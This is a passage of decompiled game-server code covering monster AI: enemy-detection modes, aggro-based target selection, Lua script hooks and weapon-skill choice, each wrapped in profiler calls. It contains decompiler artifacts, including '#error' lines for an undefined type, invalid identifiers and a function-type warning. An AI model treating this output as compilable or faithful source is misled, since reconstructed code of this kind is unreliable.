funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AIScriptFuncExec2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(LuaScriptScenario **)((char *)v3 + 106); if ( v4 ) { v5 = LuaScriptScenario::lss_FuncExec(v4, func, a); --funcallanalizer.fca_stackpoint; v6 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AIScriptFuncExec2"); result = v6; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AIScriptFuncExec2"); result = 0; } return result; } //----- (00495270) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_mob_GetMonEXP() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_GetMonEXP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_GetMonEXP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_GetMonEXP"); return 0; } //----- (004952C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_GetMonEXP(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_GetMonEXP"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_GetMonEXP"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 2274); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_GetMonEXP"); return v2; } //----- (00495330) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_mob_SetMobResist(int memval, __int16 nVal) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetMobResist"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_SetMobResist"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetMobResist"); } //----- (00495380) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_mob_SetEnemyDetect(int EnemyDetectType) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetEnemyDetect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_SetEnemyDetect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetEnemyDetect"); } //----- (004953D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_SetEnemyDetect(void *this, int EnemyDetectType) { void *v2; // ebx@1 int v3; // edx@1 int v4; // edi@3 int v5; // esi@3 signed int v6; // ecx@3 bool v7; // zf@3 int v8; // edi@7 int v9; // esi@7 signed int v10; // ecx@7 bool v11; // zf@7 int v12; // edi@12 int v13; // esi@12 signed int v14; // ecx@12 bool v15; // zf@12 int v16; // edi@17 int v17; // esi@17 signed int v18; // ecx@17 bool v19; // zf@17 int v20; // edi@22 int v21; // esi@22 signed int v22; // ecx@22 bool v23; // zf@22 int v24; // esi@27 bool v25; // zf@27 int v26; // edi@27 signed int v27; // ecx@27 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetEnemyDetect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_SetEnemyDetect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; if ( !EnemyDetectType ) { *((_DWORD *)v2 + 2289) = 6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetEnemyDetect"); return; } v4 = (int)"ED_BOUT"; v5 = EnemyDetectType; v6 = 8; v7 = 1; do { if ( !v6 ) break; v7 = *(_BYTE *)v5++ == *(_BYTE *)v4++; --v6; } while ( v7 ); if ( v7 ) goto LABEL_31; v8 = (int)"ED_AGGRESSIVE"; v9 = EnemyDetectType; v10 = 14; v11 = 1; do { if ( !v10 ) break; v11 = *(_BYTE *)v9++ == *(_BYTE *)v8++; --v10; } while ( v11 ); if ( !v11 ) { v12 = (int)"ED_NOBRAIN"; v13 = EnemyDetectType; v14 = 11; v15 = 1; do { if ( !v14 ) break; v15 = *(_BYTE *)v13++ == *(_BYTE *)v12++; --v14; } while ( v15 ); if ( v15 ) { *((_DWORD *)v2 + 2289) = 2; goto LABEL_32; } v16 = (int)"ED_AGGRESSIVE2"; v17 = EnemyDetectType; v18 = 15; v19 = 1; do { if ( !v18 ) break; v19 = *(_BYTE *)v17++ == *(_BYTE *)v16++; --v18; } while ( v19 ); if ( v19 ) { *((_DWORD *)v2 + 2289) = 3; goto LABEL_32; } v20 = (int)"ED_AGGREESIVEALL"; v21 = EnemyDetectType; v22 = 17; v23 = 1; do { if ( !v22 ) break; v23 = *(_BYTE *)v21++ == *(_BYTE *)v20++; --v22; } while ( v23 ); if ( v23 ) { *((_DWORD *)v2 + 2289) = 4; goto LABEL_32; } v24 = EnemyDetectType; v25 = 1; v26 = (int)"ED_ENEMYALLDETECT"; v27 = 18; do { if ( !v27 ) break; v25 = *(_BYTE *)v24++ == *(_BYTE *)v26++; --v27; } while ( v25 ); v3 = !v25 + 5; LABEL_31: *((_DWORD *)v2 + 2289) = v3; goto LABEL_32; } *((_DWORD *)v2 + 2289) = 1; LABEL_32: ShineObjectClass::ShineMob::sm_SetBrain(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetEnemyDetect"); } //----- (00495550) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_SetEnemyDetect(void *this, int EnemyDetectType) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetEnemyDetect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_SetEnemyDetect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; switch ( EnemyDetectType ) { case 0: *((_DWORD *)v2 + 2289) = 0; break; case 1: *((_DWORD *)v2 + 2289) = 1; break; case 2: *((_DWORD *)v2 + 2289) = 2; break; case 3: *((_DWORD *)v2 + 2289) = 3; break; case 4: *((_DWORD *)v2 + 2289) = 4; break; case 5: *((_DWORD *)v2 + 2289) = 5; break; default: *((_DWORD *)v2 + 2289) = 6; break; } ShineObjectClass::ShineMob::sm_SetBrain(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetEnemyDetect"); } //----- (00495660) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineObject::so_mob_SetIsPlayerSide(int IsPlayerSide) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetIsPlayerSide"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_SetIsPlayerSide"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetIsPlayerSide"); } //----- (004956B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_SetIsPlayerSide(void *this, int IsPlayerSide) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetIsPlayerSide"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_SetIsPlayerSide"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v2 + 2290) = IsPlayerSide; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_SetIsPlayerSide"); } //----- (00495710) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_IsItemDropSetAtScript(void *this, char bIsItemDrop) { void *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_IsItemDropSetAtScript"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_IsItemDropSetAtScript"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_BYTE *)v2 + 9100) = bIsItemDrop; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_IsItemDropSetAtScript"); } //----- (00495770) -------------------------------------------------------- MobActionElement *__thiscall MobActionElement::mae_Action(MobActionElement *this, unsigned __int16 hnd, MobBrainStruct *mob) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobActionElement::mae_Action"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobActionElement::mae_Action"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobActionElement::mae_Action"); return &ShineObjectClass::ShineMob::defaction; } // 495770: inconsistent function type and number of purged bytes //----- (004957C0) -------------------------------------------------------- int __thiscall MobTargetStruct::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)this = *(_WORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); return result; } //----- (00495800) -------------------------------------------------------- #593 *__thiscall MobTargetBout::mts_GetTopAggroTarget(MobTargetBout *this, #593 *pMob) { MobTargetBout *v2; // esi@1 MobAggroManager *v3; // edi@1 unsigned __int16 v4; // bp@2 ListStruct *v5; // eax@3 unsigned __int16 v6; // dx@3 int v7; // eax@3 int v8; // eax@4 unsigned __int16 v9; // ax@6 int v10; // eax@8 ListStruct *v11; // eax@11 char v12; // cl@11 int v13; // eax@11 int v14; // eax@12 ListStruct *v15; // eax@16 char v16; // cl@16 int v17; // eax@16 int v18; // eax@17 int v19; // eax@22 int v20; // eax@23 int v21; // eax@27 int v22; // eax@28 unsigned __int16 v23; // cx@31 int v24; // eax@32 int v25; // eax@33 int v26; // eax@35 int v27; // eax@37 int nMaxAggro; // [sp+10h] [bp-24h]@1 size_t v30; // [sp+14h] [bp-20h]@1 unsigned __int16 v31; // [sp+1Eh] [bp-16h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetBout::mts_GetTopAggroTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetBout::mts_GetTopAggroTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->mtb_targetlist; nMaxAggro = 0; v30 = 0; v31 = v3->baseclass_0.l_Array[v3->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v31; if ( v31 >= v3->baseclass_0.l_MaxSize ) break; v5 = v3->baseclass_0.l_Array; v6 = v5[v31].ls_Next; v7 = (int)&v5[v31]; v31 = v6; if ( *(_BYTE *)(v7 + 8) ) v8 = *(_DWORD *)v7; else v8 = 0; v9 = (*(int (**)(void))(**(_DWORD **)(v8 + 8) + 1792))(); if ( !MobDataBox::mdb_CanIKill(&mobdatabox, v9, MKID_MOB) || (v4 >= v3->baseclass_0.l_MaxSize || (v11 = v3->baseclass_0.l_Array, v12 = v11[v4].ls_IsActiv, v13 = (int)&v11[v4], !v12) ? (v14 = 0) : (v14 = *(_DWORD *)v13), (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v14 + 8) + 40))()) ) { if ( v4 < v3->baseclass_0.l_MaxSize && (v10 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v10 + 8)) ) *(_DWORD *)(*(_DWORD *)v10 + 12) = 0; else vC = 0; } else { if ( v4 < v3->baseclass_0.l_MaxSize && (v15 = v3->baseclass_0.l_Array, v16 = v15[v4].ls_IsActiv, v17 = (int)&v15[v4], v16) ) v18 = *(_DWORD *)v17; else v18 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v18 + 8) + 1000))(231) ) { if ( v4 < v3->baseclass_0.l_MaxSize && (v19 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v19 + 8)) ) v20 = *(_DWORD *)v19; else v20 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v20 + 8) + 1000))(605) ) { if ( v4 < v3->baseclass_0.l_MaxSize && (v21 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v21 + 8)) ) v22 = *(_DWORD *)v21; else v22 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v22 + 8) + 1000))(238) ) { v23 = v3->baseclass_0.l_MaxSize; if ( v4 < v23 && (v24 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v24 + 8)) ) v25 = *(_DWORD *)v24; else v25 = 0; v26 = *(_DWORD *)(v25 + 12); if ( v26 > nMaxAggro ) { nMaxAggro = v26; if ( v4 < v23 && (v27 = (int)&v3->baseclass_0.l_Array[v4], *(_BYTE *)(v27 + 8)) ) v30 = *(_DWORD *)(*(_DWORD *)v27 + 8); else v30 = ::v8; } } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetBout::mts_GetTopAggroTarget"); return (#593 *)v30; } //----- (00495A50) -------------------------------------------------------- #593 *__thiscall MobTargetAggresive::mts_GetTopAggroTarget(MobTargetAggresive *this, #593 *pMob) { MobTargetAggresive *v2; // esi@1 MobAggroManager *v3; // edi@1 int v4; // ebp@1 unsigned __int16 v5; // bx@3 ListStruct *v6; // eax@4 unsigned __int16 v7; // dx@4 int v8; // eax@4 int v9; // eax@5 unsigned __int16 v10; // ax@7 int v11; // eax@9 ListStruct *v12; // eax@12 char v13; // cl@12 int v14; // eax@12 int v15; // eax@13 ListStruct *v16; // eax@17 char v17; // cl@17 int v18; // eax@17 int v19; // eax@18 int v20; // eax@23 int v21; // eax@24 int v22; // eax@26 unsigned int v23; // ecx@27 char *v24; // ecx@27 int v25; // eax@29 int v26; // eax@30 int v27; // eax@34 int v28; // eax@38 int v29; // eax@39 unsigned __int16 v30; // cx@42 int v31; // eax@43 int v32; // eax@44 signed int v33; // ebp@46 int v34; // eax@47 int v35; // eax@48 int v36; // eax@53 int v37; // eax@54 int v38; // ecx@56 int v39; // eax@62 signed int nMaxAggro; // [sp+10h] [bp-24h]@1 size_t v42; // [sp+14h] [bp-20h]@1 unsigned __int16 v43; // [sp+1Eh] [bp-16h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetAggresive::mts_GetTopAggroTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetAggresive::mts_GetTopAggroTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.mtb_targetlist; v4 = 0; nMaxAggro = 0; v42 = 0; v43 = v3->baseclass_0.l_Array[v3->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v5 = v43; if ( v43 >= v3->baseclass_0.l_MaxSize ) break; v6 = v3->baseclass_0.l_Array; v7 = v6[v43].ls_Next; v8 = (int)&v6[v43]; v43 = v7; if ( *(_BYTE *)(v8 + 8) ) v9 = *(_DWORD *)v8; else v9 = 0; v10 = (*(int (**)(void))(**(_DWORD **)(v9 + 8) + 1792))(); if ( !MobDataBox::mdb_CanIKill(&mobdatabox, v10, MKID_MOB) || (v5 >= v3->baseclass_0.l_MaxSize || (v12 = v3->baseclass_0.l_Array, v13 = v12[v5].ls_IsActiv, v14 = (int)&v12[v5], !v13) ? (v15 = 0) : (v15 = *(_DWORD *)v14), (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v15 + 8) + 40))()) ) { if ( v5 < v3->baseclass_0.l_MaxSize && (v11 = (int)&v3->baseclass_0.l_Array[v5], *(_BYTE *)(v11 + 8)) ) *(_DWORD *)(*(_DWORD *)v11 + 12) = v4; else vC = v4; } else { if ( v5 < v3->baseclass_0.l_MaxSize && (v16 = v3->baseclass_0.l_Array, v17 = v16[v5].ls_IsActiv, v18 = (int)&v16[v5], v17) ) v19 = *(_DWORD *)v18; else v19 = 0; if ( (*(int (__stdcall **)(signed int))(**(_DWORD **)(v19 + 8) + 1000))(231) ) { if ( v5 < v3->baseclass_0.l_MaxSize && (v20 = (int)&v3->baseclass_0.l_Array[v5], *(_BYTE *)(v20 + 8)) ) v21 = *(_DWORD *)v20; else v21 = 0; v22 = (*(int (**)(void))(**(_DWORD **)(v21 + 8) + 1384))(); LABEL_27: v23 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v23; v24 = (char *)&namestring + 256 * v23; *(_DWORD *)v24 = *(_DWORD *)v22; *((_DWORD *)v24 + 1) = *(_DWORD *)(v22 + 4); *((_DWORD *)v24 + 2) = *(_DWORD *)(v22 + 8); *((_DWORD *)v24 + 3) = *(_DWORD *)(v22 + 12); v24[16] = 0; } else { if ( v5 < v3->baseclass_0.l_MaxSize && (v25 = (int)&v3->baseclass_0.l_Array[v5], *(_BYTE *)(v25 + 8)) ) v26 = *(_DWORD *)v25; else v26 = 0; if ( (*(int (__stdcall **)(signed int))(**(_DWORD **)(v26 + 8) + 1000))(605) ) { if ( v5 < v3->baseclass_0.l_MaxSize && (v27 = (int)&v3->baseclass_0.l_Array[v5], *(_BYTE *)(v27 + 8)) ) v22 = (*(int (**)(void))(**(_DWORD **)(*(_DWORD *)v27 + 8) + 1384))(); else v22 = (*(int (**)(void))(*(_DWORD *)::v8 + 1384))(); goto LABEL_27; } if ( v5 < v3->baseclass_0.l_MaxSize && (v28 = (int)&v3->baseclass_0.l_Array[v5], *(_BYTE *)(v28 + 8)) ) v29 = *(_DWORD *)v28; else v29 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v29 + 8) + 1000))(238) ) { v30 = v3->baseclass_0.l_MaxSize; if ( v5 < v30 && (v31 = (int)&v3->baseclass_0.l_Array[v5], *(_BYTE *)(v31 + 8)) ) v32 = *(_DWORD *)v31; else v32 = 0; v33 = *(_DWORD *)(v32 + 12); if ( v5 < v30 && (v34 = (int)&v3->baseclass_0.l_Array[v5], *(_BYTE *)(v34 + 8)) ) v35 = *(_DWORD *)v34; else v35 = 0; if ( (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v35 + 8) + 2540))() ) { v33 = 1; } else { if ( v5 < v3->baseclass_0.l_MaxSize && (v36 = (int)&v3->baseclass_0.l_Array[v5], *(_BYTE *)(v36 + 8)) ) v37 = *(_DWORD *)v36; else v37 = 0; v38 = ShineObjectClass::ShineObject::so_DistanceSquar((int)pMob, *(_DWORD *)(v37 + 8)); if ( v38 > 250000 ) v33 /= 2; if ( v38 > 1000000 ) v33 = 0; } if ( v33 > nMaxAggro ) { nMaxAggro = v33; if ( v5 < v3->baseclass_0.l_MaxSize && (v39 = (int)&v3->baseclass_0.l_Array[v5], *(_BYTE *)(v39 + 8)) ) v42 = *(_DWORD *)(*(_DWORD *)v39 + 8); else v42 = ::v8; } v4 = 0; } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetAggresive::mts_GetTopAggroTarget"); return (#593 *)v42; } //----- (00495DC0) -------------------------------------------------------- #593 *__thiscall MobTargetAggresiveALL::mts_GetTopAggroTarget(MobTargetAggresiveALL *this, #593 *pMob) { MobTargetAggresiveALL *v2; // esi@1 MobAggroManager *v3; // edi@1 unsigned __int16 v4; // bx@1 unsigned __int16 v5; // cx@2 ListStruct *v6; // eax@3 int v7; // esi@3 unsigned __int16 v8; // bp@3 bool v9; // cf@3 int v10; // eax@4 int v11; // eax@5 unsigned __int16 v12; // ax@7 int v13; // eax@9 ListStruct *v14; // eax@12 char v15; // cl@12 int v16; // eax@12 int v17; // eax@13 ListStruct *v18; // eax@17 char v19; // cl@17 int v20; // eax@17 int v21; // eax@18 int v22; // eax@23 int v23; // eax@24 int v24; // eax@28 int v25; // eax@29 int v26; // eax@33 int v27; // eax@34 #593 *v29; // [sp+10h] [bp-14h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTargetAggresiveALL::mts_GetTopAggroTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetAggresiveALL::mts_GetTopAggroTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.baseclass_0.mtb_targetlist; v29 = 0; v4 = v3->baseclass_0.l_Array[v3->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v5 = v3->baseclass_0.l_MaxSize; if ( v4 >= v5 ) break; v6 = v3->baseclass_0.l_Array; v7 = v4; v8 = v4; v9 = v4 < v5; v4 = v6[v4].ls_Next; if ( v9 && (v10 = (int)&v6[v7], *(_BYTE *)(v10 + 8)) ) v11 = *(_DWORD *)v10; else v11 = 0; v12 = (*(int (**)(void))(**(_DWORD **)(v11 + 8) + 1792))(); if ( !MobDataBox::mdb_CanIKill(&mobdatabox, v12, MKID_MOB) || (v8 >= v3->baseclass_0.l_MaxSize || (v14 = v3->baseclass_0.l_Array, v15 = v14[v7].ls_IsActiv, v16 = (int)&v14[v7], !v15) ? (v17 = 0) : (v17 = *(_DWORD *)v16), (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v17 + 8) + 40))()) ) { if ( v8 < v3->baseclass_0.l_MaxSize && (v13 = (int)&v3->baseclass_0.l_Array[v7], *(_BYTE *)(v13 + 8)) ) *(_DWORD *)(*(_DWORD *)v13 + 12) = 0; else vC = 0; } else { if ( v8 < v3->baseclass_0.l_MaxSize && (v18 = v3->baseclass_0.l_Array, v19 = v18[v7].ls_IsActiv, v20 = (int)&v18[v7], v19) ) v21 = *(_DWORD *)v20; else v21 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v21 + 8) + 1000))(231) ) { if ( v8 < v3->baseclass_0.l_MaxSize && (v22 = (int)&v3->baseclass_0.l_Array[v7], *(_BYTE *)(v22 + 8)) ) v23 = *(_DWORD *)v22; else v23 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v23 + 8) + 1000))(605) ) { if ( v8 < v3->baseclass_0.l_MaxSize && (v24 = (int)&v3->baseclass_0.l_Array[v7], *(_BYTE *)(v24 + 8)) ) v25 = *(_DWORD *)v24; else v25 = 0; if ( !(*(int (__stdcall **)(signed int))(**(_DWORD **)(v25 + 8) + 1000))(238) ) { if ( v8 < v3->baseclass_0.l_MaxSize && (v26 = (int)&v3->baseclass_0.l_Array[v8], *(_BYTE *)(v26 + 8)) ) v27 = *(_DWORD *)v26; else v27 = 0; v29 = *(#593 **)(v27 + 8); break; } } } } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetAggresiveALL::mts_GetTopAggroTarget"); return v29; } //----- (00495FD0) -------------------------------------------------------- #error "495FD0: undefined or illegal type '#593' (funcsize=275)" //----- (00496340) -------------------------------------------------------- #error "496340: undefined or illegal type '#593' (funcsize=171)" //----- (00496530) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_AIScriptFuncExec(void *this, int func, LuaScriptArgument::LuaArgumentDefault *arg) { void *v3; // esi@1 LuaScriptScenario *v4; // ecx@1 const char *v5; // esi@3 int v6; // eax@5 int v7; // esi@5 int result; // eax@5 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AIScriptFuncExec 3"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_AIScriptFuncExec 3"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(LuaScriptScenario **)((char *)v3 + 106); if ( v4 ) { if ( *(_DWORD *)((char *)v3 + func + 130) < 0x10u ) v5 = (char *)v3 + func + 110; else v5 = *(const char **)((char *)v3 + func + 110); v6 = LuaScriptScenario::lss_FuncExec(v4, v5, arg); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AIScriptFuncExec 3"); result = v7; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_AIScriptFuncExec 3"); result = 0; } return result; } //----- (00496620) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::sm_GetUseWeaponRate(int this, unsigned int nIndex) { int v2; // esi@1 int result; // eax@3 int v4; // ecx@4 v2 = *(_DWORD *)(this + 9040); if ( v2 && (*(_DWORD *)(this + 9044) - v2) >> 1 > nIndex ) { result = *(_WORD *)(v2 + 2 * nIndex); } else { v4 = *(_DWORD *)(this + 7656); if ( *(_DWORD *)(v4 + 12) <= (signed int)nIndex ) result = 0; else result = *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v4 + 8) + 12 * nIndex) + 71); } return result; } //----- (00496670) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_LuaFunctionSet(void *this, int member, const char *func) { void *v3; // esi@1 int v4; // ecx@1 char result; // al@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LuaFunctionSet"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_LuaFunctionSet"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v4 = funcallanalizer.fca_stackpoint++ + 1; if ( *(_DWORD *)((char *)v3 + 106) ) { std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)((char *)v3 + member + 106), func, strlen(func)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LuaFunctionSet"); result = 1; } else { funcallanalizer.fca_stackpoint = v4 - 1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_LuaFunctionSet"); result = 0; } return result; } //----- (00496770) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineMob::so_mob_SetWeaponAsScript(void *this, unsigned __int8 next) { void *v2; // esi@1 signed int result; // eax@2 SkillDataBox::SkillDataIndex *v4; // ebp@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SetWeaponAsScript"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_SetWeaponAsScript"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( next == -1 ) { *((_DWORD *)v2 + 1920) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SetWeaponAsScript"); result = -1; } else { v4 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(*(_DWORD *)(*((_DWORD *)v2 + 1914) + 8) + 12 * next + 4)); if ( v4 ) { if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1256))(v2) >= v4->sdi_Activ->SP ) { *((_DWORD *)v2 + 1920) = next; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SetWeaponAsScript"); result = next; } else { *((_DWORD *)v2 + 1920) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SetWeaponAsScript"); result = -1; } } else { *((_DWORD *)v2 + 1920) = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SetWeaponAsScript"); result = -1; } } return result; } //----- (004968E0) 